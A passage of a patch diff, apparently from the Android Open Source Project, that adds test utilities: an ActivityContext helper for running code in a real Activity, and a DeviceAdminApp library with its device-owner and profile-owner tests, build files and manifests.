+<configuration description="Config for ActivityContext test cases">
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="ActivityContextTest.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="com.android.activitycontext.test" />
+        <option name="exclude-annotation" value="com.android.activitycontext.annotations.RunWhenInstrumentingOtherApp" />
+    </test>
+</configuration>
\ No newline at end of file
diff --git a/common/device-side/bedstead/activitycontext/TEST_MAPPING b/common/device-side/bedstead/activitycontext/TEST_MAPPING
new file mode 100644
index 0000000..16016dc
--- /dev/null
+++ b/common/device-side/bedstead/activitycontext/TEST_MAPPING
@@ -0,0 +1,10 @@
+{
+  "postsubmit": [
+    {
+      "name": "ActivityContextTest"
+    },
+    {
+      "name": "ActivityContextInstrumentOtherAppTest"
+    }
+  ]
+}
diff --git a/common/device-side/bedstead/activitycontext/src/main/AndroidManifest.xml b/common/device-side/bedstead/activitycontext/src/main/AndroidManifest.xml
new file mode 100644
index 0000000..dd320d9
--- /dev/null
+++ b/common/device-side/bedstead/activitycontext/src/main/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.activitycontext">
+    <uses-sdk android:minSdkVersion="27" />
+    <application>
+        <activity android:name=".ActivityContext" android:exported="true"/>
+    </application>
+</manifest>
diff --git a/common/device-side/bedstead/activitycontext/src/main/java/com/android/activitycontext/ActivityContext.java b/common/device-side/bedstead/activitycontext/src/main/java/com/android/activitycontext/ActivityContext.java
new file mode 100644
index 0000000..4f63260
--- /dev/null
+++ b/common/device-side/bedstead/activitycontext/src/main/java/com/android/activitycontext/ActivityContext.java
@@ -0,0 +1,161 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.activitycontext;
+
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ShellIdentityUtils.QuadFunction;
+import com.android.compatibility.common.util.ShellIdentityUtils.TriFunction;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.function.BiConsumer;
+import java.util.function.BiFunction;
+import java.util.function.Consumer;
+import java.util.function.Function;
+
+import javax.annotation.Nullable;
+
+/**
+ * Activity used for tests which need an actual {@link Context}.
+ */
+public class ActivityContext extends Activity {
+
+    private static final String LOG_TAG = "ActivityContext";
+    private static final Context sContext =
+            InstrumentationRegistry.getInstrumentation().getContext();
+
+    private static Function<Activity, ?> sRunnable;
+    private static @Nullable Object sReturnValue;
+    private static @Nullable Object sThrowValue;
+    private static CountDownLatch sLatch;
+
+    /**
+     * Run some code using an Activity {@link Context}.
+     *
+     * <p>This method should only be called from an instrumented app.
+     *
+     * <p>The {@link Activity} will be valid within the {@code runnable} callback. Passing the
+     * {@link Activity} outside of the callback is not recommended because it may become invalid
+     * due to lifecycle changes.
+     *
+     * <p>This method will block until the callback has been executed. It will return the same value
+     * as returned by the callback.
+     */
+    public static <E> E getWithContext(Function<Activity, E> runnable) throws InterruptedException {
+        if (runnable == null) {
+            throw new NullPointerException();
+        }
+        Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+
+        if (!instrumentation.getContext().getPackageName().equals(
+                instrumentation.getTargetContext().getPackageName())) {
+            throw new IllegalStateException("ActivityContext can only be used in test apps which"
+                    + " instrument themselves. Consider ActivityScenario for this case.");
+        }
+
+        synchronized (ActivityContext.class) {
+            sRunnable = runnable;
+
+            sLatch = new CountDownLatch(1);
+            sReturnValue = null;
+            sThrowValue = null;
+
+            Intent intent = new Intent();
+            intent.setClass(sContext, ActivityContext.class);
+            intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+            sContext.startActivity(intent);
+        }
+
+        sLatch.await();
+
+        synchronized (ActivityContext.class) {
+            sRunnable = null;
+
+            if (sThrowValue != null) {
+                if (sThrowValue instanceof RuntimeException) {
+                    throw (RuntimeException) sThrowValue;
+                }
+
+                if (sThrowValue instanceof Error) {
+                    throw (Error) sThrowValue;
+                }
+
+                throw new IllegalStateException("Invalid value for sThrowValue");
+            }
+
+            return (E) sReturnValue;
+        }
+    }
+
+    /** {@link #getWithContext(Function)} which does not return a value. */
+    public static void runWithContext(Consumer<Activity> runnable) throws InterruptedException {
+        getWithContext((inContext) -> {runnable.accept(inContext); return null; });
+    }
+
+    /** {@link #getWithContext(Function)} with an additional argument. */
+    public static <E, F> F getWithContext(E arg1,
+            BiFunction<Activity, E, F> runnable) throws InterruptedException {
+        return getWithContext((inContext) -> runnable.apply(inContext, arg1));
+    }
+
+    /**
+     * {@link #getWithContext(Function)} which takes an additional argument and does not
+     * return a value.
+     */
+    public static <E> void runWithContext(E arg1, BiConsumer<Activity, E> runnable)
+            throws InterruptedException {
+        getWithContext((inContext) -> {runnable.accept(inContext, arg1); return null; });
+    }
+
+    /** {@link #getWithContext(Function)} with two additional arguments. */
+    public static <E, F, G> G getWithContext(E arg1, F arg2,
+            TriFunction<Activity, E, F, G> runnable) throws InterruptedException {
+        return getWithContext((inContext) -> runnable.apply(inContext, arg1, arg2));
+    }
+
+    /** {@link #getWithContext(Function)} with three additional arguments. */
+    public static <E, F, G, H> H getWithContext(E arg1, F arg2, G arg3,
+            QuadFunction<Activity, E, F, G, H> runnable) throws InterruptedException {
+        return getWithContext((inContext) -> runnable.apply(inContext, arg1, arg2, arg3));
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        synchronized (ActivityContext.class) {
+            if (sRunnable == null) {
+                Log.e(LOG_TAG, "Launched ActivityContext without runnable");
+            } else {
+                try {
+                    sReturnValue = sRunnable.apply(this);
+                } catch (RuntimeException | Error e) {
+                    sThrowValue = e;
+                }
+                sLatch.countDown();
+            }
+        }
+    }
+}
diff --git a/common/device-side/bedstead/activitycontext/src/test/AndroidManifest.xml b/common/device-side/bedstead/activitycontext/src/test/AndroidManifest.xml
new file mode 100644
index 0000000..21a5dfc
--- /dev/null
+++ b/common/device-side/bedstead/activitycontext/src/test/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.activitycontext.test">
+    <application
+        android:label="ActivityContext Tests">
+        <uses-library android:name="android.test.runner" />
+    </application>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.android.activitycontext.test"
+                     android:label="Activity Context Tests" />
+</manifest>
diff --git a/common/device-side/bedstead/activitycontext/src/test/AndroidManifestInstrumentEmptyTestApp.xml b/common/device-side/bedstead/activitycontext/src/test/AndroidManifestInstrumentEmptyTestApp.xml
new file mode 100644
index 0000000..ba3d598
--- /dev/null
+++ b/common/device-side/bedstead/activitycontext/src/test/AndroidManifestInstrumentEmptyTestApp.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.activitycontext.test">
+    <application
+        android:label="ActivityContext Tests">
+        <uses-library android:name="android.test.runner" />
+    </application>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.EmptyTestApp"
+                     android:label="Activity Context Tests" />
+</manifest>
diff --git a/common/device-side/bedstead/activitycontext/src/test/java/com/android/activitycontext/ActivityContextTest.java b/common/device-side/bedstead/activitycontext/src/test/java/com/android/activitycontext/ActivityContextTest.java
new file mode 100644
index 0000000..cf765b7
--- /dev/null
+++ b/common/device-side/bedstead/activitycontext/src/test/java/com/android/activitycontext/ActivityContextTest.java
@@ -0,0 +1,209 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.activitycontext;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.app.Activity;
+
+import com.android.activitycontext.annotations.RunWhenInstrumentingOtherApp;
+import com.android.compatibility.common.util.BlockingCallback;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.util.Objects;
+import java.util.function.BiConsumer;
+import java.util.function.Consumer;
+
+@RunWith(JUnit4.class)
+public class ActivityContextTest {
+    private static final String STRING_VALUE = "String";
+    private static final int INT_VALUE = 1;
+    private static final boolean BOOLEAN_VALUE = true;
+
+    @Test
+    public void getWithContext_nullRunnable_throwsException() {
+        assertThrows(NullPointerException.class, () -> ActivityContext.getWithContext(null));
+    }
+
+    @Test
+    public void runWithContext_nullRunnable_throwsException() {
+        assertThrows(NullPointerException.class, () -> ActivityContext.runWithContext(null));
+    }
+
+    @Test
+    public void getWithContext_passesActivityContext() throws Exception {
+        boolean contextIsActivityContext = ActivityContext.getWithContext(Objects::nonNull);
+
+        assertThat(contextIsActivityContext).isTrue();
+    }
+
+    @Test
+    public void getWithContext_oneArgument_passesActivityContext() throws Exception {
+        boolean contextIsActivityContext = ActivityContext.getWithContext(
+                STRING_VALUE, (context, str) -> context != null);
+
+        assertThat(contextIsActivityContext).isTrue();
+    }
+
+    @Test
+    public void getWithContext_oneArgument_passesFirstArgument() throws Exception {
+        String passedString = ActivityContext.getWithContext(STRING_VALUE, (context, str) -> str);
+
+        assertThat(passedString).isEqualTo(STRING_VALUE);
+    }
+
+    @Test
+    public void getWithContext_twoArguments_passesActivityContext() throws Exception {
+        boolean contextIsActivityContext = ActivityContext.getWithContext(
+                STRING_VALUE, INT_VALUE, (context, str, i) -> context != null);
+
+        assertThat(contextIsActivityContext).isTrue();
+    }
+
+    @Test
+    public void getWithContext_twoArguments_passesFirstArgument() throws Exception {
+        String passedString = ActivityContext.getWithContext(
+                STRING_VALUE, INT_VALUE, (context, str, i) -> str);
+
+        assertThat(passedString).isEqualTo(STRING_VALUE);
+    }
+
+    @Test
+    public void getWithContext_twoArguments_passesSecondArgument() throws Exception {
+        int passedInt = ActivityContext.getWithContext(
+                STRING_VALUE, INT_VALUE, (context, str, i) -> i);
+
+        assertThat(passedInt).isEqualTo(INT_VALUE);
+    }
+
+    @Test
+    public void getWithContext_threeArguments_passesActivityContext() throws Exception {
+        boolean contextIsActivityContext = ActivityContext.getWithContext(
+                STRING_VALUE, INT_VALUE, BOOLEAN_VALUE,
+                (context, str, i, b) -> context != null);
+
+        assertThat(contextIsActivityContext).isTrue();
+    }
+
+    @Test
+    public void getWithContext_threeArguments_passesFirstArgument() throws Exception {
+        String passedString = ActivityContext.getWithContext(
+                STRING_VALUE, INT_VALUE, BOOLEAN_VALUE, (context, str, i, b) -> str);
+
+        assertThat(passedString).isEqualTo(STRING_VALUE);
+    }
+
+    @Test
+    public void getWithContext_threeArguments_passesSecondArgument() throws Exception {
+        int passedInt = ActivityContext.getWithContext(
+                STRING_VALUE, INT_VALUE, BOOLEAN_VALUE, (context, str, i, b) -> i);
+
+        assertThat(passedInt).isEqualTo(INT_VALUE);
+    }
+
+    @Test
+    public void getWithContext_threeArguments_passesThirdArgument() throws Exception {
+        boolean passedBoolean = ActivityContext.getWithContext(
+                STRING_VALUE, INT_VALUE, BOOLEAN_VALUE, (context, str, i, b) -> b);
+
+        assertThat(passedBoolean).isEqualTo(BOOLEAN_VALUE);
+    }
+
+    @Test
+    public void runWithContext_passesActivityContext() throws Exception {
+        BlockingActivityConsumer callback = new BlockingActivityConsumer();
+
+        ActivityContext.runWithContext(callback);
+
+        assertThat(callback.await()).isTrue();
+    }
+
+    private static final class BlockingActivityConsumer extends BlockingCallback<Boolean> implements
+            Consumer<Activity> {
+        @Override
+        public void accept(Activity activity) {
+            callbackTriggered(activity != null);
+        }
+    }
+
+    @Test
+    public void runWithContext_oneArgument_passesActivityContext() throws Exception {
+        BlockingActivityBiConsumerChecksActivity callback =
+                new BlockingActivityBiConsumerChecksActivity();
+
+        ActivityContext.runWithContext(STRING_VALUE, callback);
+
+        assertThat(callback.await()).isTrue();
+    }
+
+    private static final class BlockingActivityBiConsumerChecksActivity
+            extends BlockingCallback<Boolean> implements BiConsumer<Activity, String> {
+        @Override
+        public void accept(Activity activity, String s) {
+            callbackTriggered(activity != null);
+        }
+    }
+
+    @Test
+    public void runWithContext_oneArgument_passesFirstArgument() throws Exception {
+        BlockingActivityBiConsumerReturnsFirstArgument callback =
+                new BlockingActivityBiConsumerReturnsFirstArgument();
+
+        ActivityContext.runWithContext(STRING_VALUE, callback);
+
+        assertThat(callback.await()).isEqualTo(STRING_VALUE);
+    }
+
+    @Test
+    public void runWithContext_throwsRuntimeException_isThrownHere() {
+        assertThrows(RuntimeException.class, () -> {
+            ActivityContext.runWithContext((context) -> {
+                throw new RuntimeException();
+            });
+        });
+    }
+
+    @Test
+    public void runWithContext_throwsError_isThrownHere() {
+        assertThrows(AssertionError.class, () -> {
+            ActivityContext.runWithContext((context) -> {
+                throw new AssertionError();
+            });
+        });
+    }
+
+    @Test
+    @RunWhenInstrumentingOtherApp
+    public void getWithContext_notInstrumentingSelf_throwsException() {
+        assertThrows(IllegalStateException.class,
+                () -> ActivityContext.getWithContext(Objects::nonNull));
+    }
+
+    private static final class BlockingActivityBiConsumerReturnsFirstArgument
+            extends BlockingCallback<String> implements BiConsumer<Activity, String> {
+        @Override
+        public void accept(Activity activity, String s) {
+            callbackTriggered(s);
+        }
+    }
+
+}
diff --git a/common/device-side/bedstead/activitycontext/src/test/java/com/android/activitycontext/annotations/RunWhenInstrumentingOtherApp.java b/common/device-side/bedstead/activitycontext/src/test/java/com/android/activitycontext/annotations/RunWhenInstrumentingOtherApp.java
new file mode 100644
index 0000000..e8818ab
--- /dev/null
+++ b/common/device-side/bedstead/activitycontext/src/test/java/com/android/activitycontext/annotations/RunWhenInstrumentingOtherApp.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.activitycontext.annotations;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Used for filtering tests to run only when instrumenting another app.
+ */
+@Target(ElementType.METHOD)
+@Retention(RetentionPolicy.RUNTIME)
+public @interface RunWhenInstrumentingOtherApp {
+
+}
diff --git a/common/device-side/bedstead/deviceadminapp/Android.bp b/common/device-side/bedstead/deviceadminapp/Android.bp
new file mode 100644
index 0000000..ebc935f
--- /dev/null
+++ b/common/device-side/bedstead/deviceadminapp/Android.bp
@@ -0,0 +1,37 @@
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_library {
+    name: "DeviceAdminApp",
+    sdk_version: "test_current",
+    manifest: "src/main/AndroidManifest.xml",
+    static_libs: [
+        "EventLib",
+    ],
+    srcs: ["src/main/java/**/*.java"],
+    resource_dirs: ["src/main/res"],
+    min_sdk_version: "27"
+}
+
+android_test {
+    name: "DeviceAdminAppTest",
+    srcs: [
+        "src/test/java/**/*.java"
+    ],
+    test_suites: [
+        "general-tests",
+    ],
+    static_libs: [
+        "Nene",
+        "Harrier",
+        "EventLib",
+        "DeviceAdminApp",
+        "androidx.test.ext.junit",
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "truth-prebuilt",
+    ],
+    manifest: "src/test/AndroidManifest.xml",
+    min_sdk_version: "27"
+}
diff --git a/common/device-side/bedstead/deviceadminapp/AndroidTest.xml b/common/device-side/bedstead/deviceadminapp/AndroidTest.xml
new file mode 100644
index 0000000..cc25e09
--- /dev/null
+++ b/common/device-side/bedstead/deviceadminapp/AndroidTest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<configuration description="Config for DeviceAdminApp test cases">
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="install-arg" value="-t" />
+        <option name="test-file-name" value="DeviceAdminAppTest.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="com.android.bedstead.deviceadminapp.test" />
+    </test>
+</configuration>
\ No newline at end of file
diff --git a/common/device-side/bedstead/deviceadminapp/TEST_MAPPING b/common/device-side/bedstead/deviceadminapp/TEST_MAPPING
new file mode 100644
index 0000000..364e9b7
--- /dev/null
+++ b/common/device-side/bedstead/deviceadminapp/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "postsubmit": [
+    {
+      "name": "DeviceAdminAppTests"
+    }
+  ]
+}
diff --git a/common/device-side/bedstead/deviceadminapp/src/main/AndroidManifest.xml b/common/device-side/bedstead/deviceadminapp/src/main/AndroidManifest.xml
new file mode 100644
index 0000000..35b0796
--- /dev/null
+++ b/common/device-side/bedstead/deviceadminapp/src/main/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.bedstead.deviceadminapp"
+          android:targetSandboxVersion="2">
+
+    <application android:testOnly="true">
+        <receiver android:name="com.android.eventlib.premade.EventLibDeviceAdminReceiver"
+                  android:permission="android.permission.BIND_DEVICE_ADMIN"
+                  android:exported="true">
+            <meta-data android:name="android.app.device_admin"
+                       android:resource="@xml/device_admin"/>
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
+            </intent-filter>
+        </receiver>
+    </application>
+</manifest>
diff --git a/common/device-side/bedstead/deviceadminapp/src/main/java/com/android/bedstead/deviceadminapp/DeviceAdminApp.java b/common/device-side/bedstead/deviceadminapp/src/main/java/com/android/bedstead/deviceadminapp/DeviceAdminApp.java
new file mode 100644
index 0000000..4312217
--- /dev/null
+++ b/common/device-side/bedstead/deviceadminapp/src/main/java/com/android/bedstead/deviceadminapp/DeviceAdminApp.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.deviceadminapp;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+
+import com.android.eventlib.premade.EventLibDeviceAdminReceiver;
+
+/**
+ * Entry point for Device Admin App.
+ */
+public class DeviceAdminApp {
+
+    /** Get the {@link ComponentName} for the {@link DeviceAdminReceiver} subclass. */
+    public static ComponentName deviceAdminComponentName(Context context) {
+        return new ComponentName(
+                context.getPackageName(), EventLibDeviceAdminReceiver.class.getName());
+    }
+}
diff --git a/common/device-side/bedstead/deviceadminapp/src/main/res/xml/device_admin.xml b/common/device-side/bedstead/deviceadminapp/src/main/res/xml/device_admin.xml
new file mode 100644
index 0000000..2235866
--- /dev/null
+++ b/common/device-side/bedstead/deviceadminapp/src/main/res/xml/device_admin.xml
@@ -0,0 +1,20 @@
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<device-admin xmlns:android="http://schemas.android.com/apk/res/android">
+    <uses-policies>
+    </uses-policies>
+</device-admin>
\ No newline at end of file
diff --git a/common/device-side/bedstead/deviceadminapp/src/test/AndroidManifest.xml b/common/device-side/bedstead/deviceadminapp/src/test/AndroidManifest.xml
new file mode 100644
index 0000000..4b7aa99
--- /dev/null
+++ b/common/device-side/bedstead/deviceadminapp/src/test/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.bedstead.deviceadminapp.test">
+    <application
+        android:label="DeviceAdminApp Tests" android:testOnly="true">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="27"/>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.android.bedstead.deviceadminapp.test"
+                     android:label="DeviceAdminApp Tests" />
+</manifest>
diff --git a/common/device-side/bedstead/deviceadminapp/src/test/java/com/android/bedstead/deviceadminapp/DeviceAdminAppTest.java b/common/device-side/bedstead/deviceadminapp/src/test/java/com/android/bedstead/deviceadminapp/DeviceAdminAppTest.java
new file mode 100644
index 0000000..3f5d572
--- /dev/null
+++ b/common/device-side/bedstead/deviceadminapp/src/test/java/com/android/bedstead/deviceadminapp/DeviceAdminAppTest.java
@@ -0,0 +1,88 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.deviceadminapp;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.EnsureHasNoWorkProfile;
+import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser;
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.devicepolicy.DeviceOwner;
+import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.nene.users.UserType;
+import com.android.eventlib.EventLogs;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminEnabledEvent;
+
+import org.junit.Before;
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class DeviceAdminAppTest {
+
+    private static final TestApis sTestApis = new TestApis();
+    private static final Context sContext = sTestApis.context().instrumentedContext();
+
+    @ClassRule @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+
+    // This test assumes that DeviceAdminApp is set as a dependency of the test
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    // TODO(scottjonathan): Add annotations to ensure no accounts and no users
+    public void setAsDeviceOwner_isEnabled() throws Exception {
+        try (DeviceOwner deviceOwner = sTestApis.devicePolicy().setDeviceOwner(
+                sDeviceState.primaryUser(), DeviceAdminApp.deviceAdminComponentName(sContext))) {
+
+            EventLogs<DeviceAdminEnabledEvent> logs =
+                    DeviceAdminEnabledEvent.queryPackage(sContext.getPackageName());
+            assertThat(logs.poll()).isNotNull();
+        }
+    }
+
+    @Test
+    @RequireRunOnPrimaryUser
+    @EnsureHasNoWorkProfile
+    public void setAsProfileOwner_isEnabled() {
+        try (UserReference profile = sTestApis.users().createUser()
+                .parent(sTestApis.users().instrumented())
+                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart()) {
+            sTestApis.packages().find(sContext.getPackageName()).install(profile);
+
+            sTestApis.devicePolicy().setProfileOwner(
+                    profile, DeviceAdminApp.deviceAdminComponentName(sContext));
+
+            EventLogs<DeviceAdminEnabledEvent> logs =
+                    DeviceAdminEnabledEvent.queryPackage(sContext.getPackageName())
+                    .onUser(profile);
+            assertThat(logs.poll()).isNotNull();
+        }
+    }
+}
diff --git a/common/device-side/bedstead/dpmwrapper/Android.bp b/common/device-side/bedstead/dpmwrapper/Android.bp
new file mode 100644
index 0000000..8f83b68
--- /dev/null
+++ b/common/device-side/bedstead/dpmwrapper/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+
+// TODO(b/176993670): hacky DevicePolicyManager implementation that uses ordered broadcasts and a
